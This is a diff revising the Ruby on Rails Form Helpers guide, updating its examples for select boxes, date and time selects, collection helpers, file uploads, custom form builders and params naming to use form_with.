+<%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]] %>
 ```
 
-This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the `options_for_select` helper:
-
-```html+erb
-<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
-
-output:
+Output:
 
-<option value="1">Lisbon</option>
-<option value="2">Madrid</option>
-...
+```html
+<select name="city" id="city">
+  <option value="BE">Berlin</option>
+  <option value="CHI">Chicago</option>
+  <option value="MD">Madrid</option>
+</select>
 ```
 
-The first argument to `options_for_select` is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
+This way, the user will see the full city name, but `params[:city]` will be one of `"BE"`, `"CHI"`, or `"MD"`.
 
-Knowing this, you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup:
+Lastly, we can specify a default choice for the select box with the `:selected` argument:
 
 ```erb
-<%= select_tag(:city_id, options_for_select(...)) %>
+<%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]], selected: "CHI" %>
 ```
 
-`options_for_select` allows you to pre-select an option by passing its value.
-
-```html+erb
-<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
-
-output:
+Output:
 
-<option value="1">Lisbon</option>
-<option value="2" selected="selected">Madrid</option>
-...
+```html
+<select name="city" id="city">
+  <option value="BE">Berlin</option>
+  <option value="CHI" selected="selected">Chicago</option>
+  <option value="MD">Madrid</option>
+</select>
 ```
 
-Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option.
+### Option Groups for Select Boxes
 
-WARNING: When `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true.
+In some cases we may want to improve the user experience by grouping related options together. We can do so by passing a `Hash` (or comparable `Array`) to `select`:
 
-You can add arbitrary attributes to the options using hashes:
-
-```html+erb
-<%= options_for_select(
-  [
-    ['Lisbon', 1, { 'data-size' => '2.8 million' }],
-    ['Madrid', 2, { 'data-size' => '3.2 million' }]
-  ], 2
-) %>
+```erb
+<%= form.select :city,
+      {
+        "Europe" => [ ["Berlin", "BE"], ["Madrid", "MD"] ],
+        "North America" => [ ["Chicago", "CHI"] ],
+      },
+      selected: "CHI" %>
+```
 
-output:
+Output:
 
-<option value="1" data-size="2.8 million">Lisbon</option>
-<option value="2" selected="selected" data-size="3.2 million">Madrid</option>
-...
+```html
+<select name="city" id="city">
+  <optgroup label="Europe">
+    <option value="BE">Berlin</option>
+    <option value="MD">Madrid</option>
+  </optgroup>
+  <optgroup label="North America">
+    <option value="CHI" selected="selected">Chicago</option>
+  </optgroup>
+</select>
 ```
 
-### Select Boxes for Dealing with Models
+### Binding Select Boxes to Model Objects
 
-In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the `_tag` suffix from `select_tag`:
+Like other form controls, a select box can be bound to a model attribute. For example, if we have a `@person` model object like:
 
 ```ruby
-# controller:
-@person = Person.new(city_id: 2)
+@person = Person.new(city: "MD")
 ```
 
+The following form:
+
 ```erb
-# view:
-<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
+<%= form_with model: @person do |form| %>
+  <%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]] %>
+<% end %>
 ```
 
-Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one - Rails will do this for you by reading from the `@person.city_id` attribute.
+Will output this select box:
 
-As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be:
-
-```erb
-# select on a form builder
-<%= f.select(:city_id, ...) %>
+```html
+<select name="person[city]" id="person_city">
+  <option value="BE">Berlin</option>
+  <option value="CHI">Chicago</option>
+  <option value="MD" selected="selected">Madrid</option>
+</select>
 ```
 
-You can also pass a block to `select` helper:
+The only difference is that the selected option will be found in `params[:person][:city]` instead of `params[:city]`.
 
-```erb
-<%= f.select(:city_id) do %>
-  <% [['Lisbon', 1], ['Madrid', 2]].each do |c| -%>
-    <%= content_tag(:option, c.first, value: c.last) %>
-  <% end %>
-<% end %>
-```
+Notice that the appropriate option was automatically marked `selected="selected"`. Since this select box was bound to an existing `@person` record, we didn't need to specify a `:selected` argument.
 
-WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of `ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)` when you pass the `params` hash to `Person.new` or `update`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly.
+Using Date and Time Form Helpers
+--------------------------------
 
-### Option Tags from a Collection of Arbitrary Objects
+In addition to the `date_field` and `time_field` helpers mentioned [earlier](#other-helpers-of-interest), Rails provides alternative date and time form helpers that render plain select boxes. The `date_select` helper renders a separate select box for year, month, and day.
 
-Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a `City` model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
+For example, if we have a `@person` model object like:
 
-```erb
-<% cities_array = City.all.map { |city| [city.name, city.id] } %>
-<%= options_for_select(cities_array) %>
+```ruby
+@person = Person.new(birth_date: Date.new(1995, 12, 21))
 ```
 
-This is a perfectly valid solution, but Rails provides a less verbose alternative: `options_from_collection_for_select`. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option **value** and **text** from, respectively:
+The following form:
 
 ```erb
-<%= options_from_collection_for_select(City.all, :id, :name) %>
+<%= form_with model: @person do |form| %>
+  <%= form.date_select :birth_date %>
+<% end %>
 ```
 
-As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with `select_tag`, just as you would with `options_for_select`. When working with model objects, just as `select` combines `select_tag` and `options_for_select`, `collection_select` combines `select_tag` with `options_from_collection_for_select`.
+Will output select boxes like:
 
-```erb
-<%= collection_select(:person, :city_id, City.all, :id, :name) %>
+```html
+<select name="person[birth_date(1i)]" id="person_birth_date_1i">
+  <option value="1990">1990</option>
+  <option value="1991">1991</option>
+  <option value="1992">1992</option>
+  <option value="1993">1993</option>
+  <option value="1994">1994</option>
+  <option value="1995" selected="selected">1995</option>
+  <option value="1996">1996</option>
+  <option value="1997">1997</option>
+  <option value="1998">1998</option>
+  <option value="1999">1999</option>
+  <option value="2000">2000</option>
+</select>
+<select name="person[birth_date(2i)]" id="person_birth_date_2i">
+  <option value="1">January</option>
+  <option value="2">February</option>
+  <option value="3">March</option>
+  <option value="4">April</option>
+  <option value="5">May</option>
+  <option value="6">June</option>
+  <option value="7">July</option>
+  <option value="8">August</option>
+  <option value="9">September</option>
+  <option value="10">October</option>
+  <option value="11">November</option>
+  <option value="12" selected="selected">December</option>
+</select>
+<select name="person[birth_date(3i)]" id="person_birth_date_3i">
+  <option value="1">1</option>
+  ...
+  <option value="21" selected="selected">21</option>
+  ...
+  <option value="31">31</option>
+</select>
 ```
 
-As with other helpers, if you were to use the `collection_select` helper on a form builder scoped to the `@person` object, the syntax would be:
+Notice that, when the form is submitted, there will be no single value in the `params` hash that contains the full date. Instead, there will be several values with special names like `"birth_date(1i)"`. However, Active Model knows how to assemble these values into a full date, based on the declared type of the model attribute. So we can pass `params[:person]` to `Person.new` or `Person#update` just like we would if the form used a single field to represent the full date.
+
+In addition to the [`date_select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-date_select) helper, Rails provides [`time_select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-time_select) which outputs select boxes for the hour and minute. There is [`datetime_select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-datetime_select) as well which combines both date and time select boxes.
+
+### Select Boxes for Time or Date Components
+
+Rails also provides helpers to render select boxes for individual date and time components: [`select_year`](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-select_year), [`select_month`](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-select_month), [`select_day`](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-select_day), [`select_hour`](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-select_hour), [`select_minute`](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-select_minute), and [`select_second`](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-select_second).  These helpers are "bare" methods, meaning they are not called on a form builder instance.  For example:
 
 ```erb
-<%= f.collection_select(:city_id, City.all, :id, :name) %>
+<%= select_year 2024, prefix: "party" %>
+```
+
+The above outputs a select box like:
+
+```html
+<select id="party_year" name="party[year]">
+  <option value="2019">2019</option>
+  <option value="2020">2020</option>
+  <option value="2021">2021</option>
+  <option value="2022">2022</option>
+  <option value="2023">2023</option>
+  <option value="2024" selected="selected">2024</option>
+  <option value="2025">2025</option>
+  <option value="2026">2026</option>
+  <option value="2027">2027</option>
+  <option value="2028">2028</option>
+  <option value="2029">2029</option>
+</select>
 ```
 
-To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`.
+For each of these helpers, you may specify a `Date` or `Time` object instead of a number as the default value (for example `<%= select_year Date.today, prefix: "party" %>` instead of the above), and the appropriate date and time parts will be extracted and used.
 
-NOTE: Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method.
+### Selecting Time Zone
 
-### Time Zone and Country Select
+When you need to ask users what time zone they are in, there is a very convenient [`time_zone_select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-time_zone_select) helper to use.
 
-To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this:
+Typically, you would have to provide a list of time zone options for users to select from. This can get tedious if not for the list of pre-defined [`ActiveSupport::TimeZone`](https://api.rubyonrails.org/classes/ActiveSupport/TimeZone.html) objects. The `time_with_zone` helper wraps this and can be used as follows:
 
 ```erb
-<%= time_zone_select(:person, :time_zone) %>
+<%= form.time_zone_select :time_zone %>
+```
+
+Output:
+
+```html
+<select name="time_zone" id="time_zone">
+  <option value="International Date Line West">(GMT-12:00) International Date Line West</option>
+  <option value="American Samoa">(GMT-11:00) American Samoa</option>
+  <option value="Midway Island">(GMT-11:00) Midway Island</option>
+  <option value="Hawaii">(GMT-10:00) Hawaii</option>
+  <option value="Alaska">(GMT-09:00) Alaska</option>
+  ...
+  <option value="Samoa">(GMT+13:00) Samoa</option>
+  <option value="Tokelau Is.">(GMT+13:00) Tokelau Is.</option>
+</select>
 ```
 
-There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
+Collection Related Helpers
+--------------------------
 
-Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/stefanpenner/country_select). When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
+If you need to generate a set of choices from a collection of arbitrary objects, Rails has `collection_select`, `collection_radio_button`, and `collection_checkboxes` helpers.
 
-Using Date and Time Form Helpers
---------------------------------
+To see when these helpers are useful, suppose you have a `City` model and corresponding `belongs_to :city` association with `Person`:
 
-You can choose not to use the form helpers generating HTML5 date and time input fields and use the alternative date and time helpers. These date and time helpers differ from all the other form helpers in two important respects:
+```ruby
+class City < ApplicationRecord
+end
 
-* Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time.
-* Other helpers use the `_tag` suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers.
+class Person < ApplicationRecord
+  belongs_to :city
+end
+```
 
-Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
+Assuming we have the following cities stored in the database:
 
-### Barebones Helpers
+```ruby
+City.order(:name).map { |city| [city.name, city.id] }
+# => [["Berlin", 1], ["Chicago", 3], ["Madrid", 2]]
+```
 
-The `select_*` family of helpers take as their first argument an instance of `Date`, `Time` or `DateTime` that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example:
+We can allow the user to choose from the cities with the following form:
 
 ```erb
-<%= select_date Date.today, prefix: :start_date %>
+<%= form_with model: @person do |form| %>
+  <%= form.select :city_id, City.order(:name).map { |city| [city.name, city.id] } %>
+<% end %>
 ```
 
-outputs (with actual option values omitted for brevity)
+The above will generate this HTML:
 
 ```html
-<select id="start_date_year" name="start_date[year]"> ... </select>
-<select id="start_date_month" name="start_date[month]"> ... </select>
-<select id="start_date_day" name="start_date[day]"> ... </select>
+<select name="person[city_id]" id="person_city_id">
+  <option value="1">Berlin</option>
+  <option value="3">Chicago</option>
+  <option value="2">Madrid</option>
+</select>
 ```
 
-The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual `Date`, `Time` or `DateTime` object you would have to extract these values and pass them to the appropriate constructor, for example:
-
-```ruby
-Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
-```
+The above example shows how you'd generate the choices manually. However, Rails has helpers that generate choices from a collection without having to explicitly iterate over it. These helpers determine the value and text label of each choice by calling specified methods on each object in the collection.
 
-The `:prefix` option is the key used to retrieve the hash of date components from the `params` hash. Here it was set to `start_date`, if omitted it will default to `date`.
+NOTE: When rendering a field for a `belongs_to` association, you must specify the name of the foreign key (`city_id` in the above example), rather than the name of the association itself.
 
-### Model Object Helpers
+### The `collection_select` Helper
 
-`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the `params` hash to correspond to one attribute.
-The model object helpers for dates and times submit parameters with special names; when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
+To generate a select box, we can use [`collection_select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_select):
 
 ```erb
-<%= date_select :person, :birth_date %>
+<%= form.collection_select :city_id, City.order(:name), :id, :name %>
 ```
 
-outputs (with actual option values omitted for brevity)
+The above outputs the same HTML as the manual iteration above:
 
 ```html
-<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
-<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
-<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
+<select name="person[city_id]" id="person_city_id">
+  <option value="1">Berlin</option>
+  <option value="3">Chicago</option>
+  <option value="2">Madrid</option>
+</select>
 ```
 
-which results in a `params` hash like
+NOTE: The order of arguments for `collection_select` is different from the order for `select`. With `collection_select` we specify the value method first (`:id` in the example above), and the text label method second (`:name` in the example above).  This is opposite of the order used when specifying choices for the `select` helper, where the text label comes first and the value second (`["Berlin", 1]` in the previous example).
 
-```ruby
-{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
-```
+### The `collection_radio_buttons` Helper
 
-When this is passed to `Person.new` (or `update`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`.
+To generate a set of radio buttons, we can use [`collection_radio_buttons`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_radio_buttons):
 
-### Common Options
+```erb
+<%= form.collection_radio_buttons :city_id, City.order(:name), :id, :name %>
+```
 
-Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html).
+Output:
 
-As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in other cases, such as a search form which filters results by date.
+```html
+<input type="radio" value="1" name="person[city_id]" id="person_city_id_1">
+<label for="person_city_id_1">Berlin</label>
 
-NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
+<input type="radio" value="3" name="person[city_id]" id="person_city_id_3">
+<label for="person_city_id_3">Chicago</label>
 
-### Individual Components
+<input type="radio" value="2" name="person[city_id]" id="person_city_id_2">
+<label for="person_city_id_2">Madrid</label>
+```
 
-Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example, "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value.
+### The `collection_checkboxes` Helper
 
-The first parameter specifies which value should be selected and can either be an instance of a `Date`, `Time` or `DateTime`, in which case the relevant component will be extracted, or a numerical value. For example:
+To generate a set of check boxes — for example, to support a `has_and_belongs_to_many` association — we can use [`collection_checkboxes`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_checkboxes):
 
 ```erb
-<%= select_year(2009) %>
-<%= select_year(Time.now) %>
+<%= form.collection_checkboxes :interest_ids, Interest.order(:name), :id, :name %>
 ```
 
-will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by `params[:date][:year]`.
+Output:
+
+```html
+<input type="checkbox" name="person[interest_id][]" value="3" id="person_interest_id_3">
+<label for="person_interest_id_3">Engineering</label>
+
+<input type="checkbox" name="person[interest_id][]" value="4" id="person_interest_id_4">
+<label for="person_interest_id_4">Math</label>
+
+<input type="checkbox" name="person[interest_id][]" value="1" id="person_interest_id_1">
+<label for="person_interest_id_1">Science</label>
+
+<input type="checkbox" name="person[interest_id][]" value="2" id="person_interest_id_2">
+<label for="person_interest_id_2">Technology</label>
+```
 
 Uploading Files
 ---------------
 
-A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding **MUST** be set to "multipart/form-data". If you use `form_for`, this is done automatically. If you use `form_tag`, you must set it yourself, as per the following example.
-
-The following two forms both upload a file.
+A common task with forms is allowing users to upload a file. It could be an avatar image or a CSV file with data to process. File upload fields can be rendered with the [`file_field`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-file_field) helper.
 
 ```erb
-<%= form_tag({action: :upload}, multipart: true) do %>
-  <%= file_field_tag 'picture' %>
+<%= form_with model: @person do |form| %>
+  <%= form.file_field :csv_file %>
 <% end %>
+```
 
-<%= form_for @person do |f| %>
-  <%= f.file_field :picture %>
+The most important thing to remember with file uploads is that the rendered form's `enctype` attribute **must** be set to `multipart/form-data`. This is done automatically if you use a `file_field` inside a `form_with`. You can also set the attribute manually:
+
+```erb
+<%= form_with url: "/uploads", multipart: true do |form| %>
+  <%= file_field_tag :csv_file %>
 <% end %>
 ```
 
-Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`.
+Both of which, output the following HTML form:
 
-### What Gets Uploaded
+```html
+<form enctype="multipart/form-data" action="/people" accept-charset="UTF-8" method="post">
+<!-- ... -->
+</form>
+```
+
+Note that, per `form_with` conventions, the field names in the two forms above will be different. In the first form, it will be `person[csv_file]` (accessible via `params[:person][:csv_file]`), and in the second form it will be just `csv_file` (accessible via `params[:csv_file]`).
+
+### CSV File Upload Example
 
-The object in the `params` hash is an instance of a subclass of `IO`. Depending on the size of the uploaded file it may in fact be a `StringIO` or an instance of `File` backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example).
+When using `file_field`, the object in the `params` hash is an instance of [`ActionDispatch::Http::UploadedFile`](https://api.rubyonrails.org/classes/ActionDispatch/Http/UploadedFile.html). Here is an example of how to save data in an uploaded CSV file to records in your application:
 
 ```ruby
-def upload
-  uploaded_io = params[:person][:picture]
-  File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|
-    file.write(uploaded_io.read)
+  require "csv"
+
+  def upload
+    uploaded_file = params[:csv_file]
+    if uploaded_file.present?
+      csv_data = CSV.parse(uploaded_file.read, headers: true)
+      csv_data.each do |row|
+        # Process each row of the CSV file
+        # SomeInvoiceModel.create(amount: row['Amount'], status: row['Status'])
+        Rails.logger.info row.inspect
+        #<CSV::Row "id":"po_1KE3FRDSYPMwkcNz9SFKuaYd" "Amount":"96.22" "Created (UTC)":"2022-01-04 02:59" "Arrival Date (UTC)":"2022-01-05 00:00" "Status":"paid">
+      end
+    end
+    # ...
   end
-end
 ```
 
-Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](https://github.com/thoughtbot/paperclip).
-
-NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
-
-### Dealing with Ajax
-
-Unlike other forms, making an asynchronous file upload form is not as simple as providing `form_for` with `remote: true`. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
+If the file is an image that needs to be stored with a model (e.g. user's profile picture), there are a number of tasks to consider, like where to store the file (on Disk, Amazon S3, etc), resizing image files, and generating thumbnails, etc. [Active Storage](active_storage_overview.html) is designed to assist with these tasks.
 
 Customizing Form Builders
 -------------------------
 
-As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of `FormBuilder` (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way, you can also subclass `FormBuilder` and add the helpers there. For example:
+We call the objects yielded by `form_with` or `fields_for` Form Builders. Form builders allow you to generate form elements associated with a model object
+and are an instance of
+[`ActionView::Helpers::FormBuilder`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html). This class can be extended to add custom helpers for your application.
 
-```erb
-<%= form_for @person do |f| %>
-  <%= text_field_with_label f, :first_name %>
-<% end %>
+For example, if you want to display a `text_field` along with a `label` across your application, you could add the following helper method to `application_helper.rb`:
+
+```ruby
+module ApplicationHelper
+  def text_field_with_label(form, attribute)
+    form.label(attribute) + form.text_field(attribute)
+  end
+end
 ```
 
-can be replaced with
+And use it in a form as usual:
 
 ```erb
-<%= form_for @person, builder: LabellingFormBuilder do |f| %>
-  <%= f.text_field :first_name %>
+<%= form_with model: @person do |form| %>
+  <%= text_field_with_label form, :first_name %>
 <% end %>
 ```
 
-by defining a `LabellingFormBuilder` class similar to the following:
+But you can also create a subclass of `ActionView::Helpers::FormBuilder`, and
+add the helpers there. After defining this `LabellingFormBuilder` subclass:
 
 ```ruby
 class LabellingFormBuilder < ActionView::Helpers::FormBuilder
-  def text_field(attribute, options={})
+  def text_field(attribute, options = {})
+    # super will call the original text_field method
     label(attribute) + super
   end
 end
 ```
 
-If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `builder: LabellingFormBuilder` option:
+The above form can be replaced with:
+
+```erb
+<%= form_with model: @person, builder: LabellingFormBuilder do |form| %>
+  <%= form.text_field :first_name %>
+<% end %>
+```
+
+If you reuse this frequently you could define a `labeled_form_with` helper that automatically applies the `builder: LabellingFormBuilder` option:
 
 ```ruby
-def labeled_form_for(record, options = {}, &block)
-  options.merge! builder: LabellingFormBuilder
-  form_for record, options, &block
+module ApplicationHelper
+  def labeled_form_with(**options, &block)
+    options[:builder] = LabellingFormBuilder
+    form_with(**options, &block)
+  end
 end
 ```
 
-The form builder used also determines what happens when you do
+The above can be used instead of `form_with`:
+
+```erb
+<%= labeled_form_with model: @person do |form| %>
+  <%= form.text_field :first_name %>
+<% end %>
+```
+
+All three cases above (the `text_field_with_label` helper, the `LabellingFormBuilder` subclass, and the `labeled_form_with` helper) will generate the same HTML output:
+
+```html
+<form action="/people" accept-charset="UTF-8" method="post">
+  <!-- ... -->
+  <label for="person_first_name">First name</label>
+  <input type="text" name="person[first_name]" id="person_first_name">
+</form>
+```
+
+The form builder used also determines what happens when you do:
 
 ```erb
 <%= render partial: f %>
 ```
 
-If `f` is an instance of `FormBuilder` then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class `LabellingFormBuilder` then the `labelling_form` partial would be rendered instead.
+If `f` is an instance of `ActionView::Helpers::FormBuilder`, then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class `LabellingFormBuilder`, then the `labelling_form` partial would be rendered instead.
+
+Form builder customizations, such as `LabellingFormBuilder`, do hide the implementation details (and may seem like an overkill for the simple example above). Choose between different customizations, extending `FormBuilder` class or creating helpers, based on how frequently your forms use the custom elements.
+
+Form Input Naming Conventions and `params` Hash
+-----------------------------------------------
 
-Understanding Parameter Naming Conventions
-------------------------------------------
+All of the form helpers described above help with generating the HTML for form elements so that the user can enter various types of input. How do you access the user input values in the Controller? The `params` hash is the answer. You've already seen the `params` hash in the above example. This section will more explicitly go over naming conventions around how form input is structured in the `params` hash.
 
-As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example, in a standard `create`
-action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on.
+The `params` hash can contain arrays and arrays of hashes. Values can be at the top level of the `params` hash or nested in another hash. For example, in a standard `create` action for a Person model, `params[:person]` will be a hash of all the attributes for the `Person` object.
 
-Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
+Note that HTML forms don't have an inherent structure to the user input data, all they generate is name-value string pairs. The arrays and hashes you see in your application are the result of parameter naming conventions that Rails uses.
 
-### Basic Structures
+NOTE: The fields in the `params` hash need to be [permitted in the controller](#permitting-parameters-in-the-controller).
 
-The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example, if a form contains:
+### Basic Structure
+
+The two basic structures for user input form data are arrays and hashes.
+
+Hashes mirror the syntax used for accessing the value in `params`. For example, if a form contains:
 
 ```html
 <input id="person_name" name="person[name]" type="text" value="Henry"/>
@@ -720,7 +966,7 @@ The two basic structures are arrays and hashes. Hashes mirror the syntax used fo
 the `params` hash will contain
 
 ```ruby
-{'person' => {'name' => 'Henry'}}
+{ "person" => { "name" => "Henry" } }
 ```
 
 and `params[:person][:name]` will retrieve the submitted value in the controller.
@@ -731,13 +977,15 @@ Hashes can be nested as many levels as required, for example:
 <input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
 ```
 
-will result in the `params` hash being
+The above will result in the `params` hash being
 
 ```ruby
-{'person' => {'address' => {'city' => 'New York'}}}
+{ "person" => { "address" => { "city" => "New York" } } }
 ```
 
-Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets `[]` then they will be accumulated in an array. If you wanted users to be able to input multiple phone numbers, you could place this in the form:
+The other structure is an Array. Normally Rails ignores duplicate parameter names, but if the parameter name ends with an empty set of square brackets `[]` then the parameters will be accumulated in an Array.
+
+For example, if you want users to be able to input multiple phone numbers, you could place this in the form:
 
 ```html
 <input name="person[phone_number][]" type="text"/>
@@ -745,139 +993,116 @@ Normally Rails ignores duplicate parameter names. If the parameter name contains
 <input name="person[phone_number][]" type="text"/>
 ```
 
-This would result in `params[:person][:phone_number]` being an array containing the inputted phone numbers.
+This would result in `params[:person][:phone_number]` being an array containing the submitted phone numbers:
 
-### Combining Them
+```ruby
+{ "person" => { "phone_number" => ["555-0123", "555-0124", "555-0125"] } }
+```
+
+### Combining Arrays and Hashes
 
-We can mix and match these two concepts. One element of a hash might be an array as in the previous example, or you can have an array of hashes. For example, a form might let you create any number of addresses by repeating the following form fragment
+You can mix and match these two concepts. One element of a hash might be an array as in the previous example `params[:person]` hash has a key called `[:phone_number]` whose value is an array.
+
+You also can have an array of hashes. For example, you can create any number of addresses by repeating the following form fragment:
 
 ```html
-<input name="addresses[][line1]" type="text"/>
-<input name="addresses[][line2]" type="text"/>
-<input name="addresses[][city]" type="text"/>
+<input name="person[addresses][][line1]" type="text"/>
+<input name="person[addresses][][line2]" type="text"/>
+<input name="person[addresses][][city]" type="text"/>
+<input name="person[addresses][][line1]" type="text"/>
+<input name="person[addresses][][line2]" type="text"/>
+<input name="person[addresses][][city]" type="text"/>
 ```
 
-This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
+This would result in `params[:person][:addresses]` being an array of hashes. Each hash in the array will have the keys `line1`, `line2`, and `city`, something like this:
 
-There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can usually be replaced by hashes; for example, instead of having an array of model objects, one can have a hash of model objects keyed by their id, an array index or some other parameter.
+```ruby
+{ "person" =>
+  { "addresses" => [
+    { "line1" => "1000 Fifth Avenue",
+      "line2" => "",
+      "city" => "New York"
+    },
+    { "line1" => "Calle de Ruiz de Alarcón",
+      "line2" => "",
+      "city" => "Madrid"
+    }
+    ]
+  }
+}
+```
 
